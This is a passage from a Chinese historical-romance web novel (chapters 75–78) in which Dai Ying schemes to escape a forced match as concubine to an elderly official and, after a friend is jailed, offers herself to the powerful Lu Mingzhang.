“妾身今日特意让人去市间买了新鲜菌菇,温火煨了你喜欢的鲜汤。”王夫人素手舀了一碗,“老爷尝尝。”
汤面泛着黄亮的油光,碗底是炖烂的鸡肉和褐黑的小菌菇。
王庆将衣袖卷起,端过汤碗,舀了一汤勺尝过。
“确实不错,味道鲜中带甜。”
说着,拿下巴指了指,“一起坐下用饭罢。”
王夫人依言坐下,给自己也添了一碗汤,一面拿汤匙在碗中有一下无一下地舀着,一面觑向自家老爷。
“妾身同谢家夫人议过了,打算将人十日后抬进来。”
王庆“嗯”了一声:“你安排就是。”接着,又问了一句,“叫什么来着?”
“戴缨。”王夫人赶紧说道,“原是平谷人,来京不久,正是青春之年。”
“把人抬进来前,问清楚,莫要招些身家不清不白之人进来。”
王夫人笑道:“老爷大可放心,这戴小娘子是谢家夫人的侄女儿,虽是商女出身,自小也是当官户娘子教养的,比那些个柴门女子不知强多少哩!”
话中意有所指,不过王老爷并未理会。
王夫人还待多说几句,屋外却传来喧嚷声,高高低低的不知在叫喊着什么,很是慌乱……
第75章 抱得美人归
王夫人待多说几句有关戴缨的情况,谁知外面突然吵闹起来,接着,房门被急急拍响。
“老爷,夫人,失火了!失火了!”
王庆夫妇赶紧朝外走去,打开房门一看,院子里的下人们正提着水桶往一个方向来来去去。
起火光的地方正是小妾蔡氏的住所,王庆急得就要往那边去,却被王夫人拉住。
“那里起火呢,老爷去做什么,当心被烟呛着。”
王庆满眼焦急,指着院中的下人:“动作快些,先把人救出来!”
下人们脚步更快,管家急忙忙跑来,喘声道:“老爷……蔡姨娘救出来了……下人们扶她在花坛坐着呢,受了些惊,站立不起……”
王老爷一把将管家扒开,迈起比年轻人更阔的步子,往院外走去,把王夫人的劝言扔在脑后。
好在起火时及时发现,很快就灭了,只是仍有浓烟升腾。
蔡氏乌黑着脸,蓬着头,身上穿着单薄衣物,仆妇们欲往她身上披厚衫,却被她一把打开。
就那么穿一件单薄的衣衫僵冻在那里,一双大眼在乌脏的小脸上格外清亮,滴溜流往一个方向看。
直到看到她盼的人来。
王老爷见自己的爱妾就那么孤冷地蜷在花荫下,几步上前,对着一旁的下人们喝道:“都是些不长眼的,她若冻出个好歹来,你们有几条命赔。”
那蔡氏见王庆来了,噌地站起,碎步到跟前,淌眼抹泪道:“老爷,妾身差点死在这火中……”
这不哭还好,一哭起来,乌脏的脸更是花得没鼻子没眼,王老爷没有半分嫌弃,只有心疼,把蔡氏哄回了偏房。
待人走后,身后的几名仆妇,往地上啐了一口:“脏烂玩意儿,不是站立不起么,怎的家主一来,那腿又能站了?”
回了屋室,蔡氏这才在下人的伺候中,洗净了脸,换了干净衣衫。
一切消停后,下人们退出,屋中只剩蔡氏和王老爷二人。
“老爷,妾身有一句话不知当讲不当讲。”蔡氏款款走到王老爷跟前,说着一双眼红了起来。
王老爷拍了拍爱妾的手,说道:“有什么当讲不当讲的,说来。”
蔡氏拿帕子拭了拭腮上的泪珠,又道:“那妾身说了,老爷可不能气恼。”
“怎会气恼,心疼还来不及。”
蔡氏点了点头,这才开口:“妾身觉着这火起得蹊跷,近来天气阴沉,草木都打霜了,怎会起火。”
“你是说……有人故意纵火?”
“倒也不是,夫人治家严明,下人们偶有懒怠,却还算守规矩。”
“快别吞吞吐吐。”王老爷催促道。
“自打听说府里要进新人,妾身便心神不宁,之后便接连做起噩梦来,今日妾身出了一趟门……”
蔡氏接下去说道:“碰上一个摇铃的,算了一卦,您猜那人怎么说?”
“怎么说?”
蔡氏不答,起身,走到妆奁前,打开抽屉,从屉内拿出一张纸,再走回。
“妾身敢问老爷,那位即将新进的美人儿可是姓戴,单名一个缨字?”
王老爷想了想,好像是这个名字,于是点了点头。
“那就没错了。”蔡氏将纸页递上,“老爷看这个。”
王庆接过,先是疑惑地看了一眼自己的小妾,再将目光移到纸页上,只见上面写了几行字,只要稍稍识字,都能看懂。
戴缨者,其名藏大凶之煞。
戴字,核心属火,乃烈火烹油之象,其性烈而躁,主口舌纷争,引动宅内火煞之气。
缨字,此字从“丝”,从“贝”,从“女”,“丝”缠绕,“贝”为财,“女”居中,有耗尽家财、纠缠不清之患。
且此字核心属木,木生火,是为火上浇油。
“戴”为火,“缨”为木,此名自成“木生火”之凶局!
蔡氏先说府里进新人,王庆料想她为争风吃醋才有此一言,然,看了纸上的解析,字句在理,不得不认真起来。
蔡氏往王庆面上觑了一眼,脑中浮现白天的一幕。
“你同我说这些做什么?我不过一个姬妾,说好听了半个小主,说不好听,也就是一个奴。”蔡氏冷冷看向对面。
戴缨不紧不慢地微笑道:“妾身不愿入王家,而蔡娘子也不愿妾身入王家,这……便是今日你我相见的目的。”
蔡氏先是一怔,继而嗤笑:“由得了你我么?”
话音落,戴缨推来一张折纸。
“这是什么?”蔡氏在纸上瞥了一眼。
“蔡娘子颖悟,无须妾身多言,看过便知其意……”
女子的话仍荡在蔡氏的脑海中,悠远的目光收回,转瞬变得楚楚可怜。
“老爷,不是妾身小心眼,起醋意肯定是有的,谁叫妾身一心在老爷身上呢,那道士的话,妾身记在心里,却不敢向老爷吐露,就怕被人指说妾身险恶,从中作梗,不叫老爷抱得美人归。”
蔡氏缓缓倚着王老爷身侧,继续道:“这东西,妾身并不打算拿出来,只当是江湖术士的胡言乱语,然而今晚发生了这等祸事,妾再不敢隐瞒,哪怕受人指摘,责骂,也要叫老爷知道。”
说罢,轻声呜咽。
王庆抚拍小妾,宽慰道:“你做得对,谁能说你不是?不仅不责罚,还要奖赏。”
蔡氏摇头道:“妾身不求老爷偏宠,只求老爷心里有我这么个人,便知足了。”
绢帕拭泪,目光从帕间往王庆面上扫了一眼,继续添柴拱火。
“妾身没读过书,只识得几个字,可妾身也觉着‘戴缨’二字不好。”
王庆来了兴致,问道:“你说说看,如何不好?”
“戴缨……老爷听着像不像是——带殃?”
次日一早,归雁满面喜色地从院外急急走来,附到戴缨耳边低语。
“传完话,那人便走了。”
戴缨点了点头。
“娘子,这道坎是不是就过去了,彻底化解了?”归
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雁问道,姑奶奶太可恶,老爷更可恶,她家娘子这样好,却指给一个老头儿做小。
说完,见自家娘子默然,眉目并不舒展,不知在想些什么……
……
王夫人怎么也没想到,不过一夜,自家老爷就改了口,不纳戴缨进门,追问之下才知,说是这女子命格不好。
“你说说看,这叫什么事!定是那小**从中撺掇。”王夫人气恨道,“说那丫头命中带火,还有什么属木。”
坐于王夫人对面的戴万如听罢,沉吟片刻,说道:“夫人平平心,不过一个小妾,有此行事,正是说明她怕了,若就此作罢,岂不正合了她的意?”
王夫人叹息道:“你说的是,只是……我家老爷已说了,我又能如何?”
“这件事情再好办不过,既然那小妾拿名字说事,咱们便对症下药,亦从这名字上找办法。”
王夫人眼中生亮,急问道:“想你已有法子了,快快道来。”
戴万如看了眼左右,嘴角噙笑,走到王夫人身侧,俯下身,不知说的什么,那王夫人听后,仍有些迟疑。
“这样可行?”
“单凭这样是不行的,关键不在此。”
王夫人又道:“你的意思是还有其他办法?”
戴万如笑了笑:“夫人不必着急,左右我那侄女儿在那里放着,容妾身两日,两日后,只需呈出一宝物,王大人必是另一种态度。”
王夫人点了点头,掩住好奇没多问,转而道:“多亏有你给我出主意,你尽可放心,待缨丫头进来,我必不亏待她。”
“妾身的心是向着夫人的,也见不得那些个做小的猖狂。”
两日后,戴万如差下人送了一样东西去王家,那东西用一方极为细长的匣子装整,从外看不出是什么物件。
王家下人接过,转交到王夫人手中,在王夫人看到那东西后,两眼晶亮,嘴角带笑,瞬间明白了戴万如的用意。
是夜,王庆回到府里,天色还早,小径旁有一人守在那里。
“老爷,蔡姨娘在房里热了酒,叫小的守在此处,待您下值回来,请去她屋里喝一盅,暖暖身。”
王庆心中受用,刚欲抬步,又从旁急走来一人,躬身道:“老爷快去上房,夫人心绞犯了。”
王庆听罢,转了方向,随着那人往上房行去。
一入上房,便见自家夫人歪在窗榻上,一手支着头,一手摁在胸口,双目紧闭,于是转头向外吩咐:“快请大夫……”
王夫人睁开眼,撑起身子:“大夫已来过,用了药,现下好些了。”
“怎么忽然心绞痛?”王庆走到榻边坐下。
王夫人悠叹一声,拿下巴往榻上的小几指了指:“还能为着什么,左右不过是谢家那事。”
“我不是让你拒了?”
“老爷这话倒轻松,那谢山虽是您下级,到底是官户,他家的侄女儿又非小门户出来的,叫妾身受了好大一场埋怨……”
第76章 她必入簪缨世家
王庆听自家夫人如此一说,追问道:“你是怎么说的?”
“还能怎么说,就把老爷那日说的是什么‘火’,‘木’说了出来。”
“哎呀——”一声,王庆拍着床榻,责怪道:“你跟她说这些做什么,随便找个由头不就得了,这……这叫我在谢山面前如何有脸。”
接着追问:“你这般说后,那戴氏又如何回你?”
“谢家夫人当时脸色就变了,她说,她是那般不靠谱的人?她那侄女儿的名是预先算过的,连同八字都算过。”
王夫人把戴万如教她的话说了出来:“那‘戴’字,属火,‘缨’属木,是木生火,这个名字本身五行相生,内在和谐,是大吉的属性,还有……”
王庆追问:“还有什么?”
王夫人见自家老爷听得认真,知道有戏,继续道:“戴夫人听我说‘缨’字谐‘殃’,气得更是拍案,她说,‘缨’字分明是‘簪缨’,象征仕宦之族,她进的府门必是簪缨世家,这样好的寓意,怎能如此践踏。”
这些话听起来也在理,王庆踟蹰起来,不过自家夫人已然去谢家拒了,他不能再说什么。
正在思忖时,王夫人又说:“也是赶巧,那戴夫人拿出她家侄女儿的画影儿,正欲送来给老爷过目,谁知老爷偏信那些个不实之说,气得就要请妾身离开。”
“当时叫妾身好没脸,可这事却是咱们不在理,于是妾身找了个话回缓,就说把那丫头的画影儿带回,先叫老爷看看,再论之后。”
王夫人将目光落到案几的画卷上,“谢家夫人听妾身如此说,才按下怒火,没再说什么。”
在王夫人讲话时,王庆的一双眼已落到半开的画卷上。
卷轴半开,正巧展露出一双活灵活现的美目,在王庆看向那双眼睛时,那双眼直勾勾地看着他,纵然未观全貌,仍可看出那是一双带笑的眼。
光影中,卷轴一点点展开,随之而来,画中人显出全貌。
王庆一双半浊的眼彻底呆住,咽了咽喉,心底只有一个声音,这样的女子怎会不吉利?就算不吉利,也能找到化解之法,就像人病了一样,是可以治好的。
王庆看向自家夫人,缓下语调,说道:“这事……有劳夫人再走一趟谢府。”
王夫人故作不知,问道:“老爷的意思是?”
王庆拈髯,笑而不语,眼角的褶皱炸花一般散开。
……
谢家……
暖香的屋室,传了两声清咳。
“屋里太闷了,把窗支开。”
婉柔的腔子带着一点点沙哑。
归雁看了自家娘子一眼:“娘子,外面天阴得厉害,婢子只将窗户略开些?”
戴缨点了点头。
归雁将窗扇支开一道不宽不窄的缝隙,退到一边。
就在刚才,上房来人,送了一套大红嫁衣来,什么也没说就离开了,这意味着什么,归雁再次看向窗前倚坐的身影。
这天就像也知道人的苦难一般,变得乌沉,压沉沉一片。
戴缨呢喃了一声:“又是一个冥晦的天色。”
声音虽然很轻,可屋室太静,所以归雁听清了,只是她不明小娘子为何要道一个“又”字。
思忖间,院外传来人声。
“归雁姐姐可在?”
归雁快步走出,原是守院的小丫头,于是竖起一指,比在嘴间:“静声儿,娘子在屋里呢。”
小丫头上前几步,福了福身,小声道:“姐姐快去外面,府外有人找。”
归雁不确定地指了指自己,小丫头点头。
“你在娘子跟前招呼着,我去看看。”归雁嘱咐了一声。
小丫头应是。
归雁出了角门,就见不远处立着一人,觑眼看了看,一身深蓝长袄,及至脚踝,脚上穿着一双黑色棉鞋,双手拢在袖中,头戴一顶小帽。
一脸的焦急,在树下来回踱步。
归雁走上前,唤道:“秦管事,你怎么来了?是不是店里出了什么事?”
来人不是别人,正是秦二。
秦二见了归雁,越过她的肩膀往后看了看,问道:“东家呢,可在府里?”
“在呢。”
“身子可痊愈了?”
归雁摇头道:“仍有些咳,还吃着药,怎么了?”
绸缎庄的两位掌事平日并不清闲,不会单单为了问安,特意跑一趟。
“是不是铺子有了麻烦?”
秦二长叹一声,眉头锁得死死的:“不是铺子有麻烦,是陈左有了麻烦,哎呀——这可如何是好哇——”
“阿左哥?!”归雁惊声问出。
“是,你快告诉东家,让她想办法救人,再不救就迟了。”秦二这会儿也是慌乱了。
归雁见他那样,知道事情必不简单,说道:“秦管事,你先别急,到底怎么回事,你慢慢说来,不然我也不知该如何向小娘子说明。”
秦二抚额,嘴里咕哝着:“是了,是了,我也乱了。”
接下来,说道:“刚才……陈左的同村人,就是那个祥子,他跑来跟我说,陈左被抓走了,家里被抄得面目全非。”
归雁呼吸一窒,难道是因为陈左帮了小娘子的忙,被发现了,遭到报复?是王家还是谢家?
秦二的声音继续传来:“抄陈家的不是别人,就是那个周虎。”
“周虎?”归雁问出声,这个名字听起来有些耳熟。
“就是咱们城东铺子修整时,到店里滋事的那个白役,后来不是被巡事所除了名嘛。”
这么一说,归雁想起来了。
“这人怎么了,不过是个游闲,怎么还抄家?”
“最怕的就是这些游闲,别看这样一群人,熟知律法,且私下有不少门路,就跟泥鳅似的,滑得狠。”
秦二继续道:“这人不知走得哪条路,从巡事所离开后,转身到了京都衙门,虽也是白役,却更张狂了,若是得罪了这起子小人,他寻你个不是,还不是手到擒来?”
“从前陈左为着咱们铺子的事同他厮打过,便记恨上了,今日带了一帮衙吏去了陈左的村子,抄了家不说,还把人打了个半死,押走了。”秦二急着跺了跺脚,“你快去告诉东家,叫她想想办法,速去!速去!”
归雁不敢耽搁,掉过身跑回谢府,把事情前后告诉了戴缨。
在归雁急促的声调中,戴缨拨弄算盘的手顿住,直到归雁住口,她整个人仍凝在那儿,一动也不动,安静地让人害怕,接着,像是一根针刺破平静……手扬起,一声刺耳的炸响,“啪——”的算盘狠狠砸落在地。
木架崩裂,算珠如雨点般爆射四溅,在砖石上弹跳、滚落,发出密集的声响。
归雁侍在一边,吓得不敢吱声,从未见自家娘子这副骇然厉色。
良久,那些失了方向的算珠终于耗尽力气,零零落落地静止在青砖地上,重归死寂。
“更衣,去陈家。”戴缨的声音过平,过淡,听不出什么情绪。
“是。”
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归雁将戴缨穿戴好,随后,主仆二人走出房门,孔嬷嬷正待问她二人去哪儿,可见了戴缨的面色后,闭了嘴。
到了村子,主仆二人下了马车,照着记忆寻去陈家,这是她第三次来陈家,第一次是中秋前夕,第二次前不久,然而这次同前两次不同。
门外围了许多人,众人你一句我一句地说着。
“真是造孽,不知怎么惹了那帮人。”
“叫我说,这陈家汉还是脾气太莽了,服个软,跪下来认个错,指不定不用被抓走。”
“苦了他家阿鸢,啧,啧,可怜哟——连那皮**大衣都被抢了。”
“就他家这况景,能买得起皮**大衣?说不定是陈左偷来的,官爷们就是为着这事才抓他哩!”
听说此话,周围其他人纷纷点头附和。
归雁拨开看热闹的人群,让戴缨进入院中。
戴缨进到屋里,一眼看去,地上横七竖八地倒着桌椅,好几张椅子甚至散了架,还有碎裂的瓷片。
戴缨踅步走入卧房,里屋也是一样,衣柜被抄得稀烂,地上散着衣衫,干净的衣衫上印着脏污的足印。
榻边围了几名妇人,正低声说着安慰的话。
榻上的鸢娘半闭着眼,眼睫无意识地颤着,一双手紧紧揪着身上的衾被,嘴角淌着血痕,榻边的地上,落了一摊血。
几名妇人见屋里来了一个穿着富贵的年轻女子,主动让出地方。
“鸢娘。”戴缨坐于榻沿,紧紧地握住她的手,试着叫她,那双手没有一丝热气,冰冷的,如同这屋里的空气。
戴缨从归雁手里接过暖炉,将鸢娘的双手覆上去,又把自己的斗篷解开,围在她的身上。
鸢娘慢慢睁开眼,在看清戴缨后,上下唇切颤着,两行泪流下:“阿缨,陈左被抓走了,他被抓了,他们打他……”
仅有的一点热泪润着这副枯槁身,刚说没两句,又是一口血噗出。
戴缨赶紧拿帕子替她拭嘴边的血迹,压下心头翻涌的恨,安慰道:“鸢娘,你放心,我会把陈左救出来,我可以想办法把他救出来,我有办法……”
鸢娘颤着声问:“有办法?”
“有,我有办法。”
鸢娘咬着血唇:“阿缨,要快,他们会让他死在里面……”
“好。”
鸢娘死死握住戴缨的手,不再说一句话。
“你不要有事,不然他出来了,怎么办?”戴缨哽着喉,尽量让自己的声音听起来平稳。
鸢娘眼中的眸光像是快要熄灭的火星,听到陈左,又闪了几下。
“好,好,我等他出来。”
屋里的几个妇人看不下去,躲到外面抹眼泪。
鸢娘身子很轻很轻,稍稍壮实点的妇人就能毫不费力地抱动她,戴缨将她安置在福兴楼,有专人伺候,另找了大夫给她看诊。
福兴楼掌柜先时不敢接待,有些为难,听说是暂住,方应允。
一切安排妥当后,戴缨走出客栈,颤颤呼出一口白雾,抬头看了一眼天。
没人能看清,这双映着天光的眼中浮动着怎样复杂的情绪。
“娘子,接下来怎么办……”归雁担忧道。
戴缨轻轻地咳了一声,幽叹道:“又要下雨了……”
说着,解下身上狐裘斗篷,随手丢下,往一个方向行去。
“娘子,你去哪里?”归雁想要跟上。
戴缨脚步未停,幽幽一声散在冷冽的空气里。
“莫要跟来……”
第77章 失控沉沦
归雁立在自家娘子身后不远处,从娘子收到嫁衣,再到陈家,没流一滴泪,但没人比自己清楚,那双微红的眼压下多少恨意。
她表现得越是平静,那么,接下来的事越会不平……
乌压压的云层把整个京都城罩起,冷冽的空气**成风,吹得对面摊位的幌子忽喇喇一阵乱响。
街上人不多,稀稀拉拉地穿街而过,个个缩着脖,笼着手。
因为没生意,对面的摊位收起,提前回家。
而街铺子仍开着,里面黑昏昏,不时有店伙计走到门首,探头舒脑往街上看一看,再哈一口气,搓搓手,退回黯淡的店中。
这冬雨终是落下,先时并不很大,还夹杂着雪粒子,但这雪粒子也只初见端倪,便化没了。
之后,雨势渐大,正正经经下了起来。
一顶八抬轿舆冒雨前行,轿夫们披着蓑衣,轿旁还有一个青衣撑伞男子跟行,前后禁卫环护。
轿舆走到一个岔口,转过方向,进了岔口的巷子,轿舆从巷弄穿出,再过一条街面,到了对面的巷口,只要穿过这最后一条巷弄,再行一小程,就可到陆府。
然而,轿舆停在巷口,不再前行。
“什么人?!冲撞仪仗,按律当罚,还不起开!”护卫抽刀向前怒喝。
巷弄间,雨幕中,湿漉水亮的青石板上,跪着一人。
更确切地说,是一女子,女子衣着单薄,解发除簪,微微垂着头,虽是跪在那里,腰板却挺得笔直。
一头浓黑的长发散开,发尾垂鬈于地,浸在水洼中,淹润的鬓发粘在腮颊上。
在她身侧的地上,静静地躺着一根白玉簪,雨落下,将青石砖的泥尘飞溅到她素色的裙裾上。
因她微垂着秀颈,只能看到一个小巧精致的下颌。
护卫就要持刀走入巷中,持伞的青衣人走到他的身侧,道了一声:“守住巷口。”
护卫先是一怔,接着躬身应诺,指着一部分人穿过巷弄,守着巷口两头。
长安举伞行到轿边,揭起轿帘,轻唤了一声:“大人。”
轿中人的身形掩于帘影下,只隐隐观得一片紫衣朝袍,风吹雨斜,很快,衣袂被浸湿。
陆铭章缓缓下轿,举过油纸伞,走到巷口,目光睨着雨巷中的那道身影。
“你可知,拦我轿舆可杖毙。”
微哑的女声传过雨幕:“大人曾应阿缨一个请求,危难时救我……”
不待话音落,陆铭章截断道:“莫非忘了,那句话早已作废。”
寂寂的一刹那,戴缨的目光落在身侧那根莹白的玉簪上,迟缓地伸出手,一寸寸地挪过去,捡起它,将头压得更低,颤着双手将玉簪呈于头顶。
“除却此身,再无长物,求大人……收留……”
淅沥的雨声中,那人的脚步一点点靠近,在她面前停住。
接着,一片影罩下,她头顶的雨停了,抬眼去看,伞倾了过来,伞沿的雨帘围出一方空间。
陆铭章从她手里接过那支白玉簪,眼中闪过一抹复杂难言,顺势收入自己袖中。
“起来说话。”
戴缨撑着地面,缓缓站起。
湿透的衣衫皱皱地包裹着玲珑微丰的身段,一个十九岁的女儿家,刚刚褪去稚嫩,正是花开秾丽的时候。
“这条路……你可想清楚了?”陆铭章问道。
一句没头没尾的话,不必点明,他二人都明白这话中的含义。
戴缨没有直接给以回答,而是伸出指,将倾过来的伞推向他,随之,自己的身体跟着伞倚了过去。
一把油纸伞,罩住两人。
她很冷,身体在颤,而他最能清晰地感知到……
轿舆再起,雨巷中的女子消失了。
……
到了夜里,雨仍在淅淅沥沥地下着,没有停的架势,谢府各处院落点上灯,火灯在雨幕中发毛发昏。
“什么?!人还没回来?!”戴万如把茶碗重重一放。
下人回道:“是,表姑娘自上午出去后就未归。”
此时谢珍也在上房,她听说了,她那个表姐不日就要嫁给王家老爷。
这是一件好事,是一件喜事,好到什么程度,喜到什么程度,可能也就比她成为陆三爷之妻稍逊色一点。
“母亲,她会不会偷跑了?”
戴万如平下气息,回坐下:“不会,除非她不想活了,一旦被府衙查验出,轻则遣返原籍,重则判作流民,她那般精明的人,不至于这样没成算的胡为。”
“再者,她身边的老妈子还在府里,那丫头不会丢下不管。”
谢珍往外看了一眼,问道:“天黑成这样,照这雨脚看,一夜都停不了,能去哪儿?”
接着两眼睁瞪道,“她成日在外抛头露脸,身上又富绰,会不会被歹人掳了去?”
担忧的话语透着幸灾乐祸的兴奋。
戴万如横了谢珍一眼,说道:“下去,少在这里添乱。”
谢珍只好起身,对着她母亲福了福身,在下人的护送中离开了。
戴万如走到屋檐下,蹙着眉头,吩咐道:“着人到门前守望,只要人回了,先来报我知晓。”
下人应诺去了。
怎么会一日不归呢?以那丫头的行事做不出这种事,戴万如虽然厌恶这个侄女儿,可并不想她真有个意外。
倒不是突发善心,或是亲情使然,而是担心没办法向她兄长交代,没法向王家交代。
再等一夜,若是不回,只能报官了。
就这么过了一夜,次日一早,戴万如得到的消息是,戴缨仍未归。
一夜不归,这可不是小事,戴万如在堂间来回走动,脑子转动不停。
难道说这丫头打算破釜沉舟,自毁名节,以此来逃避?可就算她真如此行事,她也有办法应对。
若真被歹人掳走还罢,若不是,但凡是她戏耍的手段,她会让她知道,什么是如来佛的五指山。
正想着,外面传来吵闹,接着那声音响了过来,几个人争执着行到她面前。
“夫人,咱们拦不住。”其中一妇人说道。
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>几名妇人圈围中,站着的人正是孔嬷嬷。
“我家姐儿去了哪里?”孔嬷嬷扯着嗓,直声问戴万如,“大姑娘,你把我家小娘子弄去哪儿了?她若有个好歹,老婆子我做了这条命,都别想好过!”
戴万如两眼一凝:“你是什么身份,竟也来质问我?”
“身份?老婆子我是看着小娘子从奶娃娃长到如今的!就是您这金尊玉贵身,老婆子我从前也抱过,今日若不见着活生生的人,莫说质问……到了地下,别怪老奴在老夫人面前不说您的好!”
孔嬷嬷话不带歇,把戴万如逼得后跌一步,气得珠鬟颤颤。
“你……你……我哪里知道她在何处,我还指着人找呢!”
孔嬷嬷还待要说,屋外突然跑来一小厮,人还未到,声音先传来。
“找到了,找到了,找到表姑娘了。”
小厮刚刚立住脚,咽了咽喉,戴万如上前催促:“人在哪里?”
“陆府来人了,说咱们表姑娘在陆府哩。”小厮喘着声气说道。
陆府?怎么去了陆府?难道那丫头求到陆老夫人面前?
戴万如一声笑,陆家老夫人最是一个遵教循礼之人,在她眼里,女子该恪守闺仪,戴缨真若向她开口,最后不仅得不到她的帮助,反会被轻看。
想到这里,戴万如赶紧说道:“快将陆家人请进来。”
不一会儿,下人引了一个婆子前来,那婆子圆盘脸,体态富贵,身上穿着厚厚的貂皮袄,袖口镶着银灰貂毛,她的身后还跟了两个小厮并两个年轻的丫头。
这人戴万如有印象,是陆老夫人跟前的陪房嬷嬷,姓周。
“周嬷嬷快请坐。”戴万如一面堆起笑脸让座,一面让下人面看茶。
周嬷嬷将手里的暖炉递给丫鬟,先同戴万如见过礼,然后告了座。
“适才听下面人说,咱家姑娘在贵府上?”戴万如面上带笑,客气道。
丫鬟将暖炉递回周嬷嬷手里,声音很轻:“嬷嬷,才下过一场冻雨,您捂着它暖手。”
周嬷嬷笑嗔道:“我同谢家夫人说话呢,要你在旁边多嘴。”
戴万如笑道:“这丫头心疼嬷嬷。”
“这倒是,咱们陆家,就是没有血缘的下人,也是知道疼人的,毕竟人心都是肉长的不是?”
戴万如听出话外音,面上有些讪讪的。
周嬷嬷接下来说道:“老奴今儿来,主要为着一事,特来告知夫人。”
“什么事劳您亲自跑一趟?”
戴万如暗道,戴缨果然告到了陆老夫人那里,只是这周嬷嬷的态度有些难以揣摩,而周嬷嬷的态度又影射了陆老夫人的态度。
正在她费心思忖时,周嬷嬷的声音再次响起。
“戴小娘子如今在我们府上。”
戴万如赶紧说道:“这丫头简直不知进退,我立马叫人接她回来。”
然而,周嬷嬷接下来的一句话,叫戴万如怔愣不知所措。
“谢家夫人不必了,戴小娘子日后就在我们陆府了……”
第78章 献身
日后就在陆家?戴万如没听明白。
“周嬷嬷这话是……”
周嬷嬷面上端起一丝笑,说道:“老夫人喜欢戴小娘子,欲令常侍左右,伴在身边,故……咱家大爷有意纳为侧室。”
这一下,别说戴万如了,整个轩子里的谢家人俱瞠目不能言。
突然一声闷响,将众人的惊诧拉回,循声看去,原是匆匆赶来凑热闹的谢珍,在台阶跌了好大一跤。
因昨儿下了一夜雨,地面还湿着,下人们扶她起身时,裙摆和衣袖泥了一大片,显得既滑稽又狼狈。
然而,身为母亲的戴万如这会儿却没空理会。
她的脑子乱着,眼皮不受控制地跳动,她扯动面皮,堆起笑。
“这位爷是……陆家大爷还是陆三爷?”
周嬷嬷面上始终保持着客气:“想是婆子我没道清楚,是咱们家主,陆家大爷。”
戴万如分明坐在椅子上,可是这一句,却叫她整个一沉,腰背陡然垮掉,陷进椅子里。
在她还在空洞迷蒙时,周嬷嬷的声音再次传来:“谢家夫人的脸色怎么这样难看?难道不愿意?”
戴万如张了张嘴,不知怀着什么心理,说了一句:“非妾身不愿,只是……”
“只是什么?”
“只是……这丫头已许给了王家,妾身不好失信于人。”
绝不能让此事达成,戴缨不能给陆铭章为妾,别说妾,就是通房都不成!否则……戴万如浑身一颤,不敢再往下想。
周嬷嬷听后,点了点头,面上没有过多表情,仍是客气笑道:“夫人说得是,您是她姑母,当依你的意思,这话婆子我记下了,会带到老夫人面前叫她知晓,咱们陆家绝不做那等强人所难之事。”
说罢,缓缓起身,往外行去,一旁的孔嬷嬷几步走到周嬷嬷面前。
“老姐姐,能不能把我带到我家娘子跟前?”
周嬷嬷点了点头,孔嬷嬷随着陆家人离开。
戴万如赶紧差下人相送,待几人走出视线后,自己再撑不住,一下仰倒于椅子上。
整个屋室寂静下来,一声哭腔遽然响起:“母亲,这到底是怎么回事啊!”
戴万如白着脸,讷讷道:“是啊……这到底是怎么一回事。”
她没敢将此事告诉谢山,以为刚才的那句搪塞能让这件事情揭过。
戴万如低估了戴缨的狠劲,以为事情会再度回到她的掌控内。
戴缨上辈子尝够了为奴为妾的贱弱,是以,只想同谢容解除婚约,回平谷老家,找个可靠的老实人嫁了,做点生意,安稳度过此生。
然而,戴万如对她步步紧逼,她散发除簪,将那根通体莹润的白玉簪举过头顶,双手奉给陆铭章。
她将自己献祭出去,那时,心里只有一个想法,要让戴万如生不如死!
话往回叙……
七月正在屋檐下踮脚盼望,一小厮跑了来:“七月姐姐,守望的人回说,大爷还没回呢。”
“这雨下得急,再去前面看看,若是不行,到爷回来的路上去探,适才老夫人那边差人过来问。”
那人应声去了。
七月转过头,吩咐几名丫鬟:“天暗得早,把灯点了。”
丫鬟们用挑子将灯笼取下,燃了灯,重新挂于屋檐下,刚将灯笼勾挂好,先时去的小厮跑了回来。
“不是叫你往路上探看么,怎么又回了?”七月责怪道。
小厮上了台阶,就取下蓑衣:“家主回了。”
七月松了一口气,抬手止住小厮解蓑衣的动作。
“急得什么,先去上房传话,就说大爷回了,莫让老夫人担心。”
那小厮又重新系上蓑衣,往院外跑去。
寒雨中,轿子行到仪门处,落了地,轿夫退去,立时上来几名陆家下人,重新担起轿身,往院内缓缓行去。
天已暗了下来,屋檐下亮起了灯,明明灭灭的光在风雨中晃荡。
终于,轿舆进了一方居,落到台阶前。
七月撑伞侍在轿身边,将伞倾出一个角度,正好可避免轿中人被雨水淋湿,另一只手打起轿帘一角。
陆铭章下了轿舆,然而七月在看清自家主人时,吃了一惊,淋雨了?怎么头身俱湿?!
不及她细想,陆铭章从她手里执过伞柄,将伞倾斜,接着,在众人震惊的目光中,那轿舆又下来一人。
七月整个人像被定住,不仅仅是她,包括院里当值的所有人,脸上的表情一个比一个惊诧。
那是个年轻的女子,纵使她的身上披着一件很厚的斗篷,可也不难看出,她浑身湿透了。
不止淋了半身雨,而是里里外外浸透的湿。
她低着头,拢着厚软的大衣,衣缘处丰茸的狐裘**湿成一簇簇,兜着她的脸。
纵使那张脸快埋进狐茸领,七月也认了出来,这位从家主轿舆下来之人,而院中其他下人自然也认了出来,是曾经从他们陆家“离开”的戴氏女。
说是离开,大家心知肚明,就是被请离的。
陆老夫人是个心善的,哪怕是谢珍的离开,对外只称是谢家夫人想念,遂接了回去。
更遑论是一直陪侍在她身侧的戴缨,是以戴缨的离开,对外也只说是同亲人相聚。
然而,曹老夫人可不会替一个不相干的人留情面,再加上曹氏那张利嘴,说出来的话,要多刺耳有多刺耳,下人们私下便疯传起来。
若是一个不那么出彩的人,或许这些话随口几句也就过去了。
偏戴缨除了出身差点,其他方方面面让人挑不出错,突如其来的污点,就成了众人宣泄的口子。
“倒生得一副好皮囊,谁料心机这般深沉,真真是画虎画皮难画骨。”
“可不正是?到底商户出身,自古道,无商不奸。”
“怪道我常说,世上哪来这般齐全人儿?模样标致,百般伶俐,口齿又讨巧,却原来……背地里行的勾当,比咱们竟强不到哪里去。”
“依我看,倒不如咱们这些为奴作婢的,虽身份卑贱,好歹懂得本分二字。”
一个完美的人,原来并非那样完美,这个污点在众人眼里越放越大,以此来拉近他们同她之间的距离。
直到一日,一个私下闲话之人被护院们抓了起来,用竹片打二十个嘴巴子,把一张嘴都打烂了。
这样的雷霆手段,不是陆老夫人的作风,曹老夫人就更不可能了,她巴不得话越传越难听。
三爷外办,人不在府中,那么就只有一人,众人不敢往下想。
自那之后,再无人敢说那位戴家小娘子的一点不好,但这位戴氏女给众人留下了很深的印象。
是以,哪怕只观得那一抹侧影,他们也认出她来。
就在七月怔愕中,陆
